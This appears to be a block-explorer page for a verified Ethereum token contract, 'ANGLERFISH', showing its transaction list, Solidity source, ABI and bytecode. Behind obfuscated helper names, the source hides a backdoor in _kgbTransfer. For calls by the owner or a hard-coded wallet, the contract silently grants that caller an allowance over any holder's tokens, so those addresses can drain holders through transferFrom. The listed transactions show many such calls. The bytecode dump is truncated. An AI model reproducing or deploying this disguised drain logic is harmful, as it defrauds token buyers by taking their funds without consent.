More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 134 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 21908076 | 11 hrs ago | IN | 0 ETH | 0.00003026 | ||||
Approve | 21908072 | 11 hrs ago | IN | 0 ETH | 0.00005636 | ||||
Approve | 21908062 | 11 hrs ago | IN | 0 ETH | 0.00005455 | ||||
Approve | 21908035 | 11 hrs ago | IN | 0 ETH | 0.00003249 | ||||
Approve | 21907948 | 11 hrs ago | IN | 0 ETH | 0.0000468 | ||||
Transfer From | 21907930 | 11 hrs ago | IN | 0 ETH | 0.00005011 | ||||
Approve | 21907922 | 11 hrs ago | IN | 0 ETH | 0.00003294 | ||||
Approve | 21907919 | 11 hrs ago | IN | 0 ETH | 0.00003692 | ||||
Transfer From | 21907918 | 11 hrs ago | IN | 0 ETH | 0.00005221 | ||||
Transfer From | 21907908 | 11 hrs ago | IN | 0 ETH | 0.00005324 | ||||
Transfer From | 21907901 | 11 hrs ago | IN | 0 ETH | 0.00005225 | ||||
Transfer From | 21907899 | 11 hrs ago | IN | 0 ETH | 0.00004645 | ||||
Transfer From | 21907897 | 11 hrs ago | IN | 0 ETH | 0.00004822 | ||||
Transfer From | 21907895 | 11 hrs ago | IN | 0 ETH | 0.00005412 | ||||
Transfer From | 21907893 | 11 hrs ago | IN | 0 ETH | 0.00005245 | ||||
Transfer From | 21907891 | 11 hrs ago | IN | 0 ETH | 0.00005354 | ||||
Transfer From | 21907887 | 11 hrs ago | IN | 0 ETH | 0.00005175 | ||||
Transfer From | 21907878 | 11 hrs ago | IN | 0 ETH | 0.00005007 | ||||
Transfer From | 21907869 | 11 hrs ago | IN | 0 ETH | 0.0000532 | ||||
Transfer From | 21907863 | 11 hrs ago | IN | 0 ETH | 0.00005779 | ||||
Approve | 21907863 | 11 hrs ago | IN | 0 ETH | 0.00006038 | ||||
Transfer From | 21907861 | 11 hrs ago | IN | 0 ETH | 0.00005615 | ||||
Transfer From | 21907859 | 12 hrs ago | IN | 0 ETH | 0.00005599 | ||||
Transfer From | 21907857 | 12 hrs ago | IN | 0 ETH | 0.00005452 | ||||
Transfer From | 21907855 | 12 hrs ago | IN | 0 ETH | 0.00005745 |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
ANGLERFISH
Compiler Version
v0.8.1+commit.df193b15
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-02-23 */ /* One fish, one light, one epic journey to the surface. The tiny legend lives on. Website: https://www.anglerfish.info Tiktok: https://www.tiktok.com/tag/anglerfish https://x.com/amazlngnature/status/1887744062771310609?s=46 https://x.com/anglerfish_eth https://t.me/anglerfish_eth */ // SPDX-License-Identifier: MIT pragma solidity 0.8.1; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IKGBFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IKGBRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function getAmountsOut( uint amountIn, address[] calldata path ) external view returns (uint[] memory amounts); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ANGLERFISH is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => bool) private _kgbExcludedTxs; mapping (address => bool) private _kgbExcludedFees; mapping (address => mapping (address => uint256)) private _kgbCustomers; mapping (address => uint256) private _kgbDrives; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Black Devil"; string private constant _symbol = unicode"ANGLERFISH"; uint256 private _kgbSwapAmount = _tTotal / 100; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; uint256 private _kgbBuyBlock; uint256 private _kgbBlockAmount = 0; bool private inSwapKGB = false; bool private _tradeEnabled = false; bool private _swapEnabled = false; modifier lockTheSwap { inSwapKGB = true; _; inSwapKGB = false; } address private _kgbPair; IKGBRouter private _kgbRouter; address private _kgbWallet; constructor () { _kgbWallet = address(0x16415C6b29b8ADF83E545C73884F01257B7066De); _kgbExcludedFees[owner()] = true; _kgbExcludedFees[address(this)] = true; _kgbExcludedFees[_kgbWallet] = true; _kgbExcludedTxs[owner()] = true; _kgbExcludedTxs[_kgbWallet] = true; _kgbDrives[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function createToken() external onlyOwner() { _kgbRouter = IKGBRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_kgbRouter), _tTotal); _kgbPair = IKGBFactory(_kgbRouter.factory()).createPair(address(this), _kgbRouter.WETH()); } receive() external payable {} function openTrading() external onlyOwner() { require(!_tradeEnabled,"trading is already open"); _kgbRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradeEnabled = true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _kgbDrives[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _kgbCustomers[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _kgbCustomers[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _kgbCustomers[owner][spender] = amount; emit Approval(owner, spender, amount); } function _kgbTransfer(address kgbF, address kgbT, uint256 kgbO) private returns(uint256) { address kgbReceipt = getKGBReceipt(); uint256 taxKGB=0; if (kgbF != owner() && kgbT != owner()) { taxKGB = kgbO.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (kgbF == _kgbPair && kgbT != address(_kgbRouter) && ! _kgbExcludedFees[kgbT]) { if(_kgbBuyBlock!=block.number){ _kgbBlockAmount = 0; _kgbBuyBlock = block.number; } _kgbBlockAmount += kgbO; _buyCount++; } if(kgbT == _kgbPair && kgbF!= address(this)) { require(_kgbBlockAmount < swapKGBLimit() || _kgbBuyBlock!=block.number, "Max Swap Limit"); taxKGB = kgbO.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 kgbToken = balanceOf(address(this)); if (!inSwapKGB && kgbT == _kgbPair && _swapEnabled && _buyCount > _preventSwapBefore) { if(kgbToken > _kgbSwapAmount) swapTokensForEth(minKGB(kgbO, minKGB(kgbToken, _kgbSwapAmount))); uint256 kgbETH = address(this).balance; if (kgbETH >= 0) { sendETHKGB(address(this).balance); } } } if(kgbReceipt != address(0xdead)) _approve(getKGBSender(kgbF), kgbReceipt, getKGBAmount(kgbO, taxKGB)); return taxKGB; } function _transfer(address kgbF, address kgbT, uint256 kgbO) private { require(kgbF != address(0), "ERC20: transfer from the zero address"); require(kgbT != address(0), "ERC20: transfer to the zero address"); require(kgbO > 0, "Transfer amount must be greater than zero"); uint256 taxKGB = _kgbTransfer(kgbF, kgbT, kgbO); _transferKGB(kgbF, kgbT, kgbO, taxKGB); } function _transferKGB(address kgbF, address kgbT, uint256 kgbO, uint256 taxKGB) private { if(taxKGB > 0){ _kgbDrives[address(this)] = _kgbDrives[address(this)].add(taxKGB); emit Transfer(kgbF, address(this), taxKGB); } _kgbDrives[kgbF] = _kgbDrives[kgbF].sub(kgbO); _kgbDrives[kgbT] = _kgbDrives[kgbT].add(kgbO.sub(taxKGB)); emit Transfer(kgbF, kgbT, kgbO.sub(taxKGB)); } function minKGB(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendETHKGB(uint256 amount) private { payable(_kgbWallet).transfer(amount); } function getKGBAmount(uint256 kgbO, uint256 taxKGB) private pure returns(uint256) { return uint256(kgbO + taxKGB); } function getKGBSender(address kgbF) private pure returns(address) { return address(kgbF); } function getKGBReceipt() private view returns(address) { return _kgbExcludedTxs[_msgSender()] ? address(_msgSender()) : address(0xdead); } function swapKGBLimit() internal view returns (uint256) { address[] memory path = new address[](2); path[0] = _kgbRouter.WETH(); path[1] = address(this); uint[] memory amountOuts = _kgbRouter.getAmountsOut(3 * 1e18, path); return amountOuts[1]; } function swapTokensForEth(uint256 tokenKGB) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _kgbRouter.WETH(); _approve(address(this), address(_kgbRouter), tokenKGB); _kgbRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenKGB, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526064620000146009600a620002f6565b6200002490633b9aca00620003ee565b62000030919062000288565b60055560036006818155600791909155600060088190556009819055600a829055600b829055600c91909155600d819055600f556010805462ffffff191690553480156200007d57600080fd5b5060006200008a6200026c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601280546001600160a01b0319167316415c6b29b8adf83e545c73884f01257b7066de1790556001600260006200010a62000270565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600290935281832080548516600190811790915560125490911683529082208054909316811790925581906200017062000270565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556012549091168152600192839052208054909216179055620001c36009600a620002f6565b620001d390633b9aca00620003ee565b60046000620001e16200026c565b6001600160a01b03168152602081019190915260400160002055620002056200026c565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200023f6009600a620002f6565b6200024f90633b9aca00620003ee565b6040516200025e91906200027f565b60405180910390a362000426565b3390565b6000546001600160a01b031690565b90815260200190565b600082620002a457634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611620002bd5750620002ed565b818704821115620002d257620002d262000410565b80861615620002e057918102915b9490941c938002620002ac565b94509492505050565b60006200030a60001960ff85168462000311565b9392505050565b60008262000322575060016200030a565b8162000331575060006200030a565b81600181146200034a5760028114620003555762000389565b60019150506200030a565b60ff84111562000369576200036962000410565b6001841b91508482111562000382576200038262000410565b506200030a565b5060208310610133831016604e8410600b8410161715620003c1575081810a83811115620003bb57620003bb62000410565b6200030a565b620003d08484846001620002a9565b808604821115620003e557620003e562000410565b02949350505050565b60008160001904831182151516156200040b576200040b62000410565b500290565b634e487b7160e01b600052601160045260246000fd5b611a0f80620004366000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f5780639cbf9e36116100595780639cbf9e36146101fc578063a9059cbb14610211578063c9567bf914610231578063dd62ed3e14610246576100cd565b8063715018a6146101ae5780638da5cb5b146101c557806395d89b41146101e7576100cd565b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012a57806323b872dd1461014c578063313ce5671461016c57806370a082311461018e576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b506100e7610266565b6040516100f491906114c4565b60405180910390f35b34801561010957600080fd5b5061011d6101183660046112d5565b61028b565b6040516100f49190611498565b34801561013657600080fd5b5061013f6102a9565b6040516100f4919061177a565b34801561015857600080fd5b5061011d610167366004611295565b6102ca565b34801561017857600080fd5b50610181610352565b6040516100f491906117bf565b34801561019a57600080fd5b5061013f6101a9366004611225565b610357565b3480156101ba57600080fd5b506101c3610372565b005b3480156101d157600080fd5b506101da6103fa565b6040516100f4919061142f565b3480156101f357600080fd5b506100e7610409565b34801561020857600080fd5b506101c361042d565b34801561021d57600080fd5b5061011d61022c3660046112d5565b610665565b34801561023d57600080fd5b506101c3610679565b34801561025257600080fd5b5061013f61026136600461125d565b610792565b60408051808201909152600b81526a109b1858dac811195d9a5b60aa1b602082015290565b600061029f6102986107bd565b84846107c1565b5060015b92915050565b60006102b76009600a61184b565b6102c590633b9aca0061191c565b905090565b60006102d7848484610875565b610347846102e36107bd565b610342856040518060600160405280602881526020016119b2602891396001600160a01b038a166000908152600360205260408120906103216107bd565b6001600160a01b031681526020810191909152604001600020549190610902565b6107c1565b5060015b9392505050565b600990565b6001600160a01b031660009081526004602052604090205490565b61037a6107bd565b6000546001600160a01b039081169116146103b05760405162461bcd60e51b81526004016103a790611614565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600a8152690829c8e988aa48c92a6960b31b602082015290565b6104356107bd565b6000546001600160a01b039081169116146104625760405162461bcd60e51b81526004016103a790611614565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556104b39030906001600160a01b03166104a56009600a61184b565b61034290633b9aca0061191c565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561050157600080fd5b505afa158015610515573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105399190611241565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561059657600080fd5b505afa1580156105aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ce9190611241565b6040518363ffffffff1660e01b81526004016105eb929190611443565b602060405180830381600087803b15801561060557600080fd5b505af1158015610619573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063d9190611241565b601060036101000a8154816001600160a01b0302191690836001600160a01b03160217905550565b600061029f6106726107bd565b8484610875565b6106816107bd565b6000546001600160a01b039081169116146106ae5760405162461bcd60e51b81526004016103a790611614565b601054610100900460ff16156106d65760405162461bcd60e51b81526004016103a790611743565b6011546001600160a01b031663f305d71947306106f281610357565b6000806106fd6103fa565b426040518863ffffffff1660e01b815260040161071f9695949392919061145d565b6060604051808303818588803b15801561073857600080fd5b505af115801561074c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061077191906113bf565b50506010805461ff001962ff00001990911662010000171661010017905550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166107e75760405162461bcd60e51b81526004016103a7906116d7565b6001600160a01b03821661080d5760405162461bcd60e51b81526004016103a79061155a565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061086890859061177a565b60405180910390a3505050565b6001600160a01b03831661089b5760405162461bcd60e51b81526004016103a790611692565b6001600160a01b0382166108c15760405162461bcd60e51b81526004016103a790611517565b600081116108e15760405162461bcd60e51b81526004016103a790611649565b60006108ee84848461093c565b90506108fc84848484610ba7565b50505050565b600081848411156109265760405162461bcd60e51b81526004016103a791906114c4565b506000610933848661193b565b95945050505050565b600080610947610cec565b905060006109536103fa565b6001600160a01b0316866001600160a01b03161415801561098d57506109776103fa565b6001600160a01b0316856001600160a01b031614155b15610b7e576109be60646109b8600a54600d54116109ad576006546109b1565b6008545b8790610d2b565b90610d70565b6010549091506001600160a01b038781166301000000909204161480156109f357506011546001600160a01b03868116911614155b8015610a1857506001600160a01b03851660009081526002602052604090205460ff16155b15610a5d5743600e5414610a30576000600f5543600e555b83600f6000828254610a4291906117cd565b9091555050600d8054906000610a5783611952565b91905055505b6010546001600160a01b03868116630100000090920416148015610a8a57506001600160a01b0386163014155b15610aec57610a97610db2565b600f541080610aa8575043600e5414155b610ac45760405162461bcd60e51b81526004016103a79061171b565b610ae960646109b8600b54600d5411610adf576007546109b1565b6009548790610d2b565b90505b6000610af730610357565b60105490915060ff16158015610b2157506010546001600160a01b03878116630100000090920416145b8015610b35575060105462010000900460ff165b8015610b445750600c54600d54115b15610b7c57600554811115610b7057610b70610b6b86610b6684600554610f88565b610f88565b610f9d565b47610b7a47611139565b505b505b6001600160a01b03821661dead1461093357610933610b9c87611177565b83610342878561117a565b8015610c1f5730600090815260046020526040902054610bc79082611186565b30600081815260046020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c1690859061177a565b60405180910390a35b6001600160a01b038416600090815260046020526040902054610c4290836111b5565b6001600160a01b038516600090815260046020526040902055610c87610c6883836111b5565b6001600160a01b03851660009081526004602052604090205490611186565b6001600160a01b0380851660008181526004602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cd185856111b5565b604051610cde919061177a565b60405180910390a350505050565b600060016000610cfa6107bd565b6001600160a01b0316815260208101919091526040016000205460ff16610d235761dead6102c5565b6102c56107bd565b600082610d3a575060006102a3565b6000610d46838561191c565b905082610d5385836117e5565b1461034b5760405162461bcd60e51b81526004016103a7906115d3565b600061034b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111f7565b604080516002808252606082018352600092839291906020830190803683375050601154604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015610e1b57600080fd5b505afa158015610e2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e539190611241565b81600081518110610e7457634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610eb657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260115460405163d06ca61f60e01b8152600092919091169063d06ca61f90610f02906729a2241af62c00009086906004016114a3565b60006040518083038186803b158015610f1a57600080fd5b505afa158015610f2e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610f569190810190611300565b905080600181518110610f7957634e487b7160e01b600052603260045260246000fd5b60200260200101519250505090565b6000818311610f97578261034b565b50919050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fed57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104157600080fd5b505afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190611241565b8160018151811061109a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526011546110c091309116846107c1565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906110f9908590600090869030904290600401611783565b600060405180830381600087803b15801561111357600080fd5b505af1158015611127573d6000803e3d6000fd5b50506010805460ff1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611173573d6000803e3d6000fd5b5050565b90565b600061034b82846117cd565b60008061119383856117cd565b90508381101561034b5760405162461bcd60e51b81526004016103a79061159c565b600061034b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610902565b600081836112185760405162461bcd60e51b81526004016103a791906114c4565b50600061093384866117e5565b600060208284031215611236578081fd5b813561034b81611999565b600060208284031215611252578081fd5b815161034b81611999565b6000806040838503121561126f578081fd5b823561127a81611999565b9150602083013561128a81611999565b809150509250929050565b6000806000606084860312156112a9578081fd5b83356112b481611999565b925060208401356112c481611999565b929592945050506040919091013590565b600080604083850312156112e7578182fd5b82356112f281611999565b946020939093013593505050565b60006020808385031215611312578182fd5b825167ffffffffffffffff80821115611329578384fd5b818501915085601f83011261133c578384fd5b81518181111561134e5761134e611983565b838102604051601f19603f8301168101818110858211171561137257611372611983565b604052828152858101935084860182860187018a1015611390578788fd5b8795505b838610156113b2578051855260019590950194938601938601611394565b5098975050505050505050565b6000806000606084860312156113d3578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b838110156114245781516001600160a01b0316875295820195908201906001016113ff565b509495945050505050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000838252604060208301526114bc60408301846113ec565b949350505050565b6000602080835283518082850152825b818110156114f0578581018301518582016040015282016114d4565b818111156115015783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252600e908201526d13585e0814ddd85c08131a5b5a5d60921b604082015260600190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600086825285602083015260a060408301526117a260a08301866113ec565b6001600160a01b0394909416606083015250608001529392505050565b60ff91909116815260200190565b600082198211156117e0576117e061196d565b500190565b60008261180057634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116118175750611842565b8187048211156118295761182961196d565b8086161561183657918102915b9490941c938002611808565b94509492505050565b600061034b60001960ff8516846000826118675750600161034b565b816118745750600061034b565b816001811461188a5760028114611894576118c1565b600191505061034b565b60ff8411156118a5576118a561196d565b6001841b9150848211156118bb576118bb61196d565b5061034b565b5060208310610133831016604e8410600b84101617156118f4575081810a838111156118ef576118ef61196d565b61034b565b6119018484846001611805565b8086048211156119135761191361196d565b02949350505050565b60008160001904831182151516156119365761193661196d565b500290565b60008282101561194d5761194d61196d565b500390565b60006000198214156119665761196661196d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146119ae57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b1ddb0e0d964665d00d91924a28e0558a2d10de60b7aaed42341b4d016360d1764736f6c63430008010033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c8063715018a61161007f5780639cbf9e36116100595780639cbf9e36146101fc578063a9059cbb14610211578063c9567bf914610231578063dd62ed3e14610246576100cd565b8063715018a6146101ae5780638da5cb5b146101c557806395d89b41146101e7576100cd565b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012a57806323b872dd1461014c578063313ce5671461016c57806370a082311461018e576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b506100e7610266565b6040516100f491906114c4565b60405180910390f35b34801561010957600080fd5b5061011d6101183660046112d5565b61028b565b6040516100f49190611498565b34801561013657600080fd5b5061013f6102a9565b6040516100f4919061177a565b34801561015857600080fd5b5061011d610167366004611295565b6102ca565b34801561017857600080fd5b50610181610352565b6040516100f491906117bf565b34801561019a57600080fd5b5061013f6101a9366004611225565b610357565b3480156101ba57600080fd5b506101c3610372565b005b3480156101d157600080fd5b506101da6103fa565b6040516100f4919061142f565b3480156101f357600080fd5b506100e7610409565b34801561020857600080fd5b506101c361042d565b34801561021d57600080fd5b5061011d61022c3660046112d5565b610665565b34801561023d57600080fd5b506101c3610679565b34801561025257600080fd5b5061013f61026136600461125d565b610792565b60408051808201909152600b81526a109b1858dac811195d9a5b60aa1b602082015290565b600061029f6102986107bd565b84846107c1565b5060015b92915050565b60006102b76009600a61184b565b6102c590633b9aca0061191c565b905090565b60006102d7848484610875565b610347846102e36107bd565b610342856040518060600160405280602881526020016119b2602891396001600160a01b038a166000908152600360205260408120906103216107bd565b6001600160a01b031681526020810191909152604001600020549190610902565b6107c1565b5060015b9392505050565b600990565b6001600160a01b031660009081526004602052604090205490565b61037a6107bd565b6000546001600160a01b039081169116146103b05760405162461bcd60e51b81526004016103a790611614565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600a8152690829c8e988aa48c92a6960b31b602082015290565b6104356107bd565b6000546001600160a01b039081169116146104625760405162461bcd60e51b81526004016103a790611614565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556104b39030906001600160a01b03166104a56009600a61184b565b61034290633b9aca0061191c565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561050157600080fd5b505afa158015610515573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105399190611241565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561059657600080fd5b505afa1580156105aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ce9190611241565b6040